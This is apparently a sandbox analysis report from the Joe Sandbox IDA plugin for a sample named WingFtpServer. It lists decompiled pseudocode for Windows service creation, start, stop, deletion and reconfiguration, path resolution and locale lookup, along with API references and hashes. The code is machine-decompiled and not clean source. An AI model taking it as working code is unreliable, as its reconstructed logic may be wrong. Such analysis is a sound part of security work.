Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Service$Security$Heap$CloseDescriptorHandleObject$AllocDaclFreeOpenProcessQuery$AccessBuildEntriesErrorExplicitInitializeLastLocalManagerNameStringWith
String ID: EVERYONE
API String ID: 498919520-4237530456
Opcode ID: e3536a07bab5b6fec287c3cac2f6920c03a8a908e5fd6283920f956020fff4a7
Instruction ID: 2e4f4462a510c5ca16cd9b10364df8b34860315e79fc61d65f60091e5fcd70d1
Opcode Fuzzy Hash: e3536a07bab5b6fec287c3cac2f6920c03a8a908e5fd6283920f956020fff4a7
Instruction Fuzzy Hash: 06413F75A10348BEEB21EAE5CE91FEFB7FCDB05604F1449B7A604EA181E670DA408760

Uniqueness

Uniqueness Score: -1.00%

Function 03BC4964 Relevance: 16.6, APIs: 11, Instructions: 85
servicesleepwindowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E03BC4964(void* __ebx, char _a4) {
				char _v5;
				void* _v12;
				void* _v16;
				short* _v20;
				intOrPtr _v44;
				struct _SERVICE_STATUS _v48;
				char _v76;
				MSG* _t42;
				intOrPtr _t45;
				void* _t47;
				void* _t48;
				intOrPtr _t49;

				_t47 = _t48;
				_t49 = _t48 + 0xffffffb8;
				E03AA9D20( &_a4);
				_t42 =  &_v76;
				_push(_t47);
				_push(0x3bc4a6a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49;
				_v16 = OpenSCManagerW(0, 0, 1);
				_v12 = OpenServiceW(_v16, E03AAA724(_a4), 0x34);
				_push(_t47);
				_push(0x3bc4a4d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49;
				if(StartServiceW(_v12, 0,  &_v20) == 0) {
					_v5 = 0;
					L12:
					_pop(_t45);
					 *[fs:eax] = _t45;
					_push(E03BC4A54);
					CloseServiceHandle(_v12);
					return CloseServiceHandle(_v16);
				}
				while(QueryServiceStatus(_v12,  &_v48) != 0) {
					Sleep(0x1f4);
					while(PeekMessageW(_t42, 0, 0, 0, 1) != 0) {
						TranslateMessage(_t42);
						DispatchMessageW(_t42);
					}
					if(_v44 != 2) {
						break;
					}
					Sleep(0x1f4);
				}
				if(_v44 != 4) {
					_v5 = 0;
				} else {
					_v5 = 1;
				}
				goto L12;
			}

0x03bc4965
0x03bc4967
0x03bc496e
0x03bc4973
0x03bc4978
0x03bc4979
0x03bc497e
0x03bc4981
0x03bc498f
0x03bc49a6
0x03bc49ab
0x03bc49ac
0x03bc49b1
0x03bc49b4
0x03bc49c8
0x03bc4a29
0x03bc4a2d
0x03bc4a2f
0x03bc4a32
0x03bc4a35
0x03bc4a3e
0x03bc4a4c
0x03bc4a4c
0x03bc4a06
0x03bc49d1
0x03bc49e4
0x03bc49d9
0x03bc49df
0x03bc49df
0x03bc49fa
0x00000000
0x00000000
0x03bc4a01
0x03bc4a01
0x03bc4a1b
0x03bc4a23
0x03bc4a1d
0x03bc4a1d
0x03bc4a1d
0x00000000

APIs

Part of subcall function 03AA9D20: SysAllocStringLen.OLEAUT32(?,?), ref: 03AA9D2E

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001,00000000,03BC4A6A), ref: 03BC498A
OpenServiceW.ADVAPI32(?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4A6A), ref: 03BC49A1
StartServiceW.ADVAPI32(?,00000000,?,00000000,03BC4A4D,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4A6A), ref: 03BC49C1
Sleep.KERNEL32(000001F4,?,?,?,00000000,?,00000000,03BC4A4D,?,?,00000000,00000034,00000000,00000000,00000001,00000000), ref: 03BC49D1
PeekMessageW.USER32 ref: 03BC49ED
Sleep.KERNEL32(000001F4,?,00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000000,00000001,000001F4,?,?,?), ref: 03BC4A01
QueryServiceStatus.ADVAPI32(?,?,?,00000000,?,00000000,03BC4A4D,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4A6A), ref: 03BC4A0E
CloseServiceHandle.ADVAPI32(?,03BC4A54,00000000,03BC4A4D,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4A6A), ref: 03BC4A3E
CloseServiceHandle.ADVAPI32(?,?,03BC4A54,00000000,03BC4A4D,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4A6A), ref: 03BC4A47

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Service$CloseHandleOpenSleep$AllocManagerMessagePeekQueryStartStatusString
String ID:
API String ID: 822939-0
Opcode ID: 757090cb02351df411a46c82c8257f575b5a73ee85a62fbe5bd48a1d91c13753
Instruction ID: 2bcb2df4dea57b2cdd4fe98185f34e2c58109deca2fddbf82c09e06edb366eed
Opcode Fuzzy Hash: 757090cb02351df411a46c82c8257f575b5a73ee85a62fbe5bd48a1d91c13753
Instruction Fuzzy Hash: 9B21E774A54388BEEB31EBA5CD52FEEB7BCDB04708F0048B7F514AA282D6759644C624

Uniqueness

Uniqueness Score: -1.00%

Function 03AACE68 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 140
stringlibraryfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E03AACE68(short* __eax, intOrPtr __edx) {
				short* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				struct _WIN32_FIND_DATAW _v612;
				short _v1134;
				signed int _t50;
				signed int _t51;
				void* _t55;
				signed int _t88;
				signed int _t89;
				intOrPtr* _t90;
				signed int _t101;
				signed int _t102;
				short* _t112;
				struct HINSTANCE__* _t113;
				short* _t115;
				short* _t116;
				void* _t117;

				_v12 = __edx;
				_v8 = __eax;
				_v16 = _v8;
				_t113 = GetModuleHandleW(L"kernel32.dll");
				if(_t113 == 0) {
					L4:
					if( *_v8 != 0x5c) {
						_t115 = _v8 + 4;
						goto L10;
					} else {
						if( *((short*)(_v8 + 2)) == 0x5c) {
							_t116 = E03AACE44(_v8 + 4);
							if( *_t116 != 0) {
								_t14 = _t116 + 2; // 0x2
								_t115 = E03AACE44(_t14);
								if( *_t115 != 0) {
									L10:
									_t88 = _t115 - _v8;
									_t89 = _t88 >> 1;
									if(_t88 < 0) {
										asm("adc ebx, 0x0");
									}
									_t43 = _t89 + 1;
									if(_t89 + 1 <= 0x105) {
										E03AAC88C( &_v1134, _v8, _t43);
										while( *_t115 != 0) {
											_t112 = E03AACE44(_t115 + 2);
											_t50 = _t112 - _t115;
											_t51 = _t50 >> 1;
											if(_t50 < 0) {
												asm("adc eax, 0x0");
											}
											if(_t51 + _t89 + 1 <= 0x105) {
												_t55 =  &_v1134 + _t89 + _t89;
												_t101 = _t112 - _t115;
												_t102 = _t101 >> 1;
												if(_t101 < 0) {
													asm("adc edx, 0x0");
												}
												E03AAC88C(_t55, _t115, _t102 + 1);
												_v20 = FindFirstFileW( &_v1134,  &_v612);
												if(_v20 != 0xffffffff) {
													FindClose(_v20);
													if(lstrlenW( &(_v612.cFileName)) + _t89 + 1 + 1 <= 0x105) {
														 *((short*)(_t117 + _t89 * 2 - 0x46a)) = 0x5c;
														E03AAC88C( &_v1134 + _t89 + _t89 + 2,  &(_v612.cFileName), 0x105 - _t89 - 1);
														_t89 = _t89 + lstrlenW( &(_v612.cFileName)) + 1;
														_t115 = _t112;
														continue;
													}
												}
											}
											goto L24;
										}
										E03AAC88C(_v8,  &_v1134, _v12);
									}
								}
							}
						}
					}
				} else {
					_t90 = GetProcAddress(_t113, "GetLongPathNameW");
					if(_t90 == 0) {
						goto L4;
					} else {
						_push(0x105);
						_push( &_v1134);
						_push(_v8);
						if( *_t90() == 0) {
							goto L4;
						} else {
							E03AAC88C(_v8,  &_v1134, _v12);
						}
					}
				}
				L24:
				return _v16;
			}

0x03aace74
0x03aace77
0x03aace7d
0x03aace8a
0x03aace8e
0x03aacecd
0x03aaced4
0x03aacf14
0x00000000
0x03aaced6
0x03aacede
0x03aaceef
0x03aacef5
0x03aacefb
0x03aacf03
0x03aacf09
0x03aacf17
0x03aacf19
0x03aacf1c
0x03aacf1e
0x03aacf20
0x03aacf20
0x03aacf23
0x03aacf2b
0x03aacf3c
0x03aad003
0x03aacf4e
0x03aacf52
0x03aacf54
0x03aacf56
0x03aacf58
0x03aacf58
0x03aacf63
0x03aacf73
0x03aacf77
0x03aacf79
0x03aacf7b
0x03aacf7d
0x03aacf7d
0x03aacf83
0x03aacf9b
0x03aacfa2
0x03aacfa8
0x03aacfc4
0x03aacfc6
0x03aacfed
0x03aacfff
0x03aad001
0x00000000
0x03aad001
0x03aacfc4
0x03aacfa2
0x00000000
0x03aacf63
0x03aad019
0x03aad019
0x03aacf2b
0x03aacf09
0x03aacef5
0x03aacede
0x03aace90
0x03aace9b
0x03aace9f
0x00000000
0x03aacea1
0x03aacea1
0x03aaceac
0x03aaceb0
0x03aaceb5
0x00000000
0x03aaceb7
0x03aacec3
0x03aacec3
0x03aaceb5
0x03aace9f
0x03aad01e
0x03aad027

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,03ABAF9C,?,?), ref: 03AACE85
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 03AACE96
FindFirstFileW.KERNEL32(?,?,kernel32.dll,03ABAF9C,?,?), ref: 03AACF96
FindClose.KERNEL32(?,?,?,kernel32.dll,03ABAF9C,?,?), ref: 03AACFA8
lstrlenW.KERNEL32(?,?,?,?,kernel32.dll,03ABAF9C,?,?), ref: 03AACFB4
lstrlenW.KERNEL32(?,?,?,?,?,kernel32.dll,03ABAF9C,?,?), ref: 03AACFF9

Strings

\, xrefs: 03AACFC6
GetLongPathNameW, xrefs: 03AACE90
kernel32.dll, xrefs: 03AACE80

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 1930782624-3908791685
Opcode ID: d0ae8f50ccc7a134aea39c9f1e648fa5d1f2994171fccc44699a38343b06d4da
Instruction ID: bf93384250442717c52c3bf0f2e0a8ca5744728895b2e370370de1b5068374d3
Opcode Fuzzy Hash: d0ae8f50ccc7a134aea39c9f1e648fa5d1f2994171fccc44699a38343b06d4da
Instruction Fuzzy Hash: D441F537E00A089BDB20DB6CCD80ADDB3B5AF44320F1844AA9545EB344E7749F45DB84

Uniqueness

Uniqueness Score: -1.00%

Function 03BC4C7C Relevance: 9.1, APIs: 6, Instructions: 61
serviceCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E03BC4C7C(char _a4) {
				void* _v12;
				void* _v16;
				struct _SERVICE_STATUS _v44;
				intOrPtr _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t43;
				intOrPtr _t44;

				_t42 = _t43;
				_t44 = _t43 + 0xffffffd8;
				E03AA9D20( &_a4);
				_push(_t42);
				_push(0x3bc4d2c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t44;
				_v12 = OpenSCManagerW(0, 0, 0xf003f);
				if(_v12 == 0) {
					_pop(_t39);
					 *[fs:eax] = _t39;
					_push(E03BC4D33);
					return E03AA9C64( &_a4);
				} else {
					_push(_t42);
					_push(0x3bc4d0f);
					_push( *[fs:eax]);
					 *[fs:eax] = _t44;
					_v16 = OpenServiceW(_v12, E03AAA724(_a4), 0xf01ff);
					ControlService(_v16, 1,  &_v44);
					DeleteService(_v16);
					_pop(_t40);
					 *[fs:eax] = _t40;
					_push(E03BC4D16);
					CloseServiceHandle(_v16);
					return CloseServiceHandle(_v12);
				}
			}

0x03bc4c7d
0x03bc4c7f
0x03bc4c85
0x03bc4c8c
0x03bc4c8d
0x03bc4c92
0x03bc4c95
0x03bc4ca6
0x03bc4cad
0x03bc4d18
0x03bc4d1b
0x03bc4d1e
0x03bc4d2b
0x03bc4caf
0x03bc4cb1
0x03bc4cb2
0x03bc4cb7
0x03bc4cba
0x03bc4cd4
0x03bc4ce1
0x03bc4cea
0x03bc4cf1
0x03bc4cf4
0x03bc4cf7
0x03bc4d00
0x03bc4d0e
0x03bc4d0e

APIs

Part of subcall function 03AA9D20: SysAllocStringLen.OLEAUT32(?,?), ref: 03AA9D2E

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,00000000,03BC4D2C), ref: 03BC4CA1
OpenServiceW.ADVAPI32(00000000,00000000,000F01FF,00000000,03BC4D0F,?,00000000,00000000,000F003F,00000000,03BC4D2C), ref: 03BC4CCF
ControlService.ADVAPI32(?,00000001,?,00000000,00000000,000F01FF,00000000,03BC4D0F,?,00000000,00000000,000F003F,00000000,03BC4D2C), ref: 03BC4CE1
DeleteService.ADVAPI32(?,?,00000001,?,00000000,00000000,000F01FF,00000000,03BC4D0F,?,00000000,00000000,000F003F,00000000,03BC4D2C), ref: 03BC4CEA
CloseServiceHandle.ADVAPI32(?,03BC4D16,?,00000000,00000000,000F01FF,00000000,03BC4D0F,?,00000000,00000000,000F003F,00000000,03BC4D2C), ref: 03BC4D00
CloseServiceHandle.ADVAPI32(00000000,?,03BC4D16,?,00000000,00000000,000F01FF,00000000,03BC4D0F,?,00000000,00000000,000F003F,00000000,03BC4D2C), ref: 03BC4D09

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Service$CloseHandleOpen$AllocControlDeleteManagerString
String ID:
API String ID: 619985493-0
Opcode ID: b5bc0ba38bf56bc8c132af71d04d82dfa7d3c84211739360b3b1497735a8dc86
Instruction ID: 770de463deaa5320330f37ad6a1b0cc761af6ec368082963b5075499f103a8ad
Opcode Fuzzy Hash: b5bc0ba38bf56bc8c132af71d04d82dfa7d3c84211739360b3b1497735a8dc86
Instruction Fuzzy Hash: A411BF39A00748BFDB12EBA5CD61AAE7BBCEB09700F4148A6F514DB681D6749A00CA20

Uniqueness

Uniqueness Score: -1.00%

Function 03BC4B94 Relevance: 7.6, APIs: 5, Instructions: 74
serviceCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E03BC4B94(void* __edx, char _a4, char _a8) {
				void* _v12;
				void* _v16;
				intOrPtr _t42;
				intOrPtr _t44;
				void* _t46;
				void* _t47;
				intOrPtr _t48;

				_t46 = _t47;
				_t48 = _t47 + 0xfffffff4;
				E03AA9D20( &_a4);
				E03AA9D20( &_a8);
				_push(_t46);
				_push(0x3bc4c68);
				_push( *[fs:eax]);
				 *[fs:eax] = _t48;
				_v12 = OpenSCManagerW(0, 0, 0xf003f);
				if(_v12 == 0) {
					L4:
					_pop(_t42);
					 *[fs:eax] = _t42;
					_push(E03BC4C6F);
					return E03AA9CDC( &_a4, 2);
				} else {
					_push(_t46);
					_push(0x3bc4c46);
					_push( *[fs:eax]);
					 *[fs:eax] = _t48;
					_v16 = OpenServiceW(_v12, E03AAA724(_a4), 0xf01ff);
					if(ChangeServiceConfigW(_v16, 0xffffffff, 0xffffffff, 0xffffffff, E03AAA724(_a8), 0, 0, 0, 0, 0, 0) != 0) {
						_pop(_t44);
						 *[fs:eax] = _t44;
						_push(E03BC4C4D);
						CloseServiceHandle(_v16);
						return CloseServiceHandle(_v12);
					} else {
						E03AA938C();
						goto L4;
					}
				}
			}

0x03bc4b95
0x03bc4b97
0x03bc4b9d
0x03bc4ba5
0x03bc4bac
0x03bc4bad
0x03bc4bb2
0x03bc4bb5
0x03bc4bc6
0x03bc4bcd
0x03bc4c4d
0x03bc4c4f
0x03bc4c52
0x03bc4c55
0x03bc4c67
0x03bc4bcf
0x03bc4bd1
0x03bc4bd2
0x03bc4bd7
0x03bc4bda
0x03bc4bf4
0x03bc4c1d
0x03bc4c28
0x03bc4c2b
0x03bc4c2e
0x03bc4c37
0x03bc4c45
0x03bc4c1f
0x03bc4c1f
0x00000000
0x03bc4c1f
0x03bc4c1d

APIs

Part of subcall function 03AA9D20: SysAllocStringLen.OLEAUT32(?,?), ref: 03AA9D2E

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,00000000,03BC4C68), ref: 03BC4BC1
OpenServiceW.ADVAPI32(00000000,00000000,000F01FF,00000000,03BC4C46,?,00000000,00000000,000F003F,00000000,03BC4C68), ref: 03BC4BEF
ChangeServiceConfigW.ADVAPI32(?,000000FF,000000FF,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,000F01FF,00000000,03BC4C46), ref: 03BC4C16
CloseServiceHandle.ADVAPI32(?,03BC4C4D,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,000F01FF,00000000,03BC4C46), ref: 03BC4C37
CloseServiceHandle.ADVAPI32(00000000,?,03BC4C4D,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,000F01FF,00000000,03BC4C46), ref: 03BC4C40

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Service$CloseHandleOpen$AllocChangeConfigManagerString
String ID:
API String ID: 3308236590-0
Opcode ID: 2881042f985b202be607fd10c2582696e05ad586e33cb3bbc8cea00e1cee5bf0
Instruction ID: df82a6de24cdfcd6b8f87105de33962e73d614c0b4d2ba4856143958732c442d
Opcode Fuzzy Hash: 2881042f985b202be607fd10c2582696e05ad586e33cb3bbc8cea00e1cee5bf0
Instruction Fuzzy Hash: 3311F039604748BFDB21EB68CD51BAE77ACEB45720F508AB6B4248B6E0D7348A00C620

Uniqueness

Uniqueness Score: -1.00%

Function 03AACA0C Relevance: 4.6, APIs: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E03AACA0C(signed short __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				short _v182;
				short _v352;
				char _v356;
				char _v360;
				char _v364;
				int _t58;
				signed int _t61;
				intOrPtr _t70;
				signed short _t80;
				void* _t83;
				void* _t85;
				void* _t86;

				_t77 = __edi;
				_push(__edi);
				_v356 = 0;
				_v360 = 0;
				_v364 = 0;
				_v8 = __edx;
				_t80 = __eax;
				_push(_t83);
				_push(0x3aacb71);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83 + 0xfffffe98;
				E03AA9C1C(_v8);
				_t85 = _t80 -  *0x3bcea00; // 0x404
				if(_t85 >= 0) {
					_t86 = _t80 -  *0x3bcec00; // 0x7c68
					if(_t86 <= 0) {
						_t77 = 0x40;
						_v12 = 0;
						if(0x40 >= _v12) {
							do {
								_t61 = _t77 + _v12 >> 1;
								if(_t80 >=  *((intOrPtr*)(0x3bcea00 + _t61 * 8))) {
									__eflags = _t80 -  *((intOrPtr*)(0x3bcea00 + _t61 * 8));
									if(__eflags <= 0) {
										E03AAC92C( *((intOrPtr*)(0x3bcea04 + _t61 * 8)), _t61, _v8, _t77, _t80, __eflags);
									} else {
										_v12 = _t61 + 1;
										goto L8;
									}
								} else {
									_t77 = _t61 - 1;
									goto L8;
								}
								goto L9;
								L8:
							} while (_t77 >= _v12);
						}
					}
				}
				L9:
				if( *_v8 == 0 && IsValidLocale(_t80 & 0x0000ffff, 2) != 0) {
					_t58 = _t80 & 0x0000ffff;
					GetLocaleInfoW(_t58, 0x59,  &_v182, 0x55);
					GetLocaleInfoW(_t58, 0x5a,  &_v352, 0x55);
					E03AAA99C( &_v356, 0x55,  &_v182);
					_push(_v356);
					_push(0x3aacb8c);
					E03AAA99C( &_v360, 0x55,  &_v352);
					_push(_v360);
					_push(E03AACB9C);
					E03AAA99C( &_v364, 0x55,  &_v182);
					_push(_v364);
					E03AAABD4(_v8, _t58, 5, _t77, _t80);
				}
				_pop(_t70);
				 *[fs:eax] = _t70;
				_push(E03AACB78);
				return E03AA9C7C( &_v364, 3);
			}

0x03aaca0c
0x03aaca17
0x03aaca1a
0x03aaca20
0x03aaca26
0x03aaca2c
0x03aaca2f
0x03aaca33
0x03aaca34
0x03aaca39
0x03aaca3c
0x03aaca42
0x03aaca47
0x03aaca4e
0x03aaca50
0x03aaca57
0x03aaca59
0x03aaca60
0x03aaca66
0x03aaca68
0x03aaca6d
0x03aaca77
0x03aaca7e
0x03aaca86
0x03aaca98
0x03aaca88
0x03aaca89
0x00000000
0x03aaca89
0x03aaca79
0x03aaca7b
0x00000000
0x03aaca7b
0x00000000
0x03aaca9f
0x03aaca9f
0x03aaca68
0x03aaca66
0x03aaca57
0x03aacaa4
0x03aacaaa
0x03aacace
0x03aacad2
0x03aacae3
0x03aacaf9
0x03aacafe
0x03aacb04
0x03aacb1a
0x03aacb1f
0x03aacb25
0x03aacb3b
0x03aacb40
0x03aacb4e
0x03aacb4e
0x03aacb55
0x03aacb58
0x03aacb5b
0x03aacb70

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,03AACB71,?,03ABAF9C,?,00000000), ref: 03AACAB6
GetLocaleInfoW.KERNEL32(00000000,00000059,?,00000055,?,00000002,00000000,03AACB71,?,03ABAF9C,?,00000000), ref: 03AACAD2
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,03AACB71,?,03ABAF9C,?,00000000), ref: 03AACAE3

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: ce8d4eed4cb4b6681d14a9cbdded61462dbb9bebad735c9e59beabd6a3225f84
Instruction ID: 1a9782a63bf8c229f428990db55a228a068f8abf8f931a727b4781f229f45672
Opcode Fuzzy Hash: ce8d4eed4cb4b6681d14a9cbdded61462dbb9bebad735c9e59beabd6a3225f84
Instruction Fuzzy Hash: A4319136A00B18AFEF20DB5CDD81BEEB7BAFB48711F5004E6A509A7250D7355E80CB10

Uniqueness

Uniqueness Score: -1.00%

Function 03BC48BC Relevance: 4.6, APIs: 3, Instructions: 58
serviceCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E03BC48BC(void* __ebx, void* __esi, char _a4, intOrPtr _a8) {
				short* _t13;
				void* _t16;
				void* _t22;
				intOrPtr _t28;
				intOrPtr _t34;

				E03AA9D00(_a4);
				E03AA9D00(_a8);
				_push(_t34);
				_push(0x3bc4952);
				_push( *[fs:eax]);
				 *[fs:eax] = _t34;
				_t22 = OpenSCManagerW(0, 0, 0xf003f);
				if(_t22 != 0) {
					_t13 = E03AAA8E4(_a8);
					_t16 = CreateServiceW(_t22, _t15, E03AAA8E4(_a4), 0xf01ff, 0x10, 2, 1, _t13, 0, 0, 0, 0, 0);
					if(_t16 != 0) {
						CloseServiceHandle(_t16);
					}
				}
				_pop(_t28);
				 *[fs:eax] = _t28;
				_push(E03BC4959);
				return E03AA9C7C( &_a4, 2);
			}

0x03bc48c4
0x03bc48cc
0x03bc48d3
0x03bc48d4
0x03bc48d9
0x03bc48dc
0x03bc48ed
0x03bc48f1
0x03bc4904
0x03bc4922
0x03bc4929
0x03bc4930
0x03bc4935
0x03bc4929
0x03bc4939
0x03bc493c
0x03bc493f
0x03bc4951

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,00000000,03BC4952), ref: 03BC48E8
CreateServiceW.ADVAPI32(00000000,00000000,00000000,000F01FF,00000010,00000002,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,000F003F), ref: 03BC4922

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
